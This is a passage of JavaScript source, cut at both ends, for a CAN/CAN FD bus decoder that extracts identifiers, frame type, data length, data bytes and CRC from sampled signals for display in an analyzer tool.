(rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 37; c < 41; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \\t// Add the IDE bit\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 15; c < 19; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 35; c < 39; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (rtr_mode == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_DATA;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\t// Skip the data in case of RTR frame\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_CRC;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_DATA:\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\twhile (db < (data_size * 8)) \\t// Read data bits\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tb -= (data_size * 8);\\t// Now interpret those bits as bytes\\n\\t\\t\\t\\tpkt_data = \\\"\\\";\\n\\n\\t\\t\\t\\tfor (i = 0; i < data_size; i++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 8; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + (i * 8) + c];\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D \\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\n\\t\\t\\t\\t\\tpkt_data += int_to_str_hex(val) + \\\" \\\";\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\n\\t\\t\\t\\tb += (data_size * 8);\\n\\t\\t\\t\\tstate = GET_CRC;\\n\\n\\t\\t\\t\\t// TO DO:\\n\\t\\t\\t\\t// correct all start and end samples\\n\\t\\t\\t\\t// add packet for CRC, and error frames\\n\\t\\t\\t\\t// add the packet stop\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_CRC:\\n\\t\\t\\t\\tvar nbr_stf_b = 0;\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\n\\t\\t\\t\\t\\twhile (db-nbr_stf_b < crc_len) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (db % 5 ==0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t\\tnbr_stf_b++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= crc_len;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < crc_len; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\n\\t\\t\\t\\t\\tfor (c = 1; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x3685B;\\n\\t\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x302898;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1ffff;\\n\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1fffff\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, 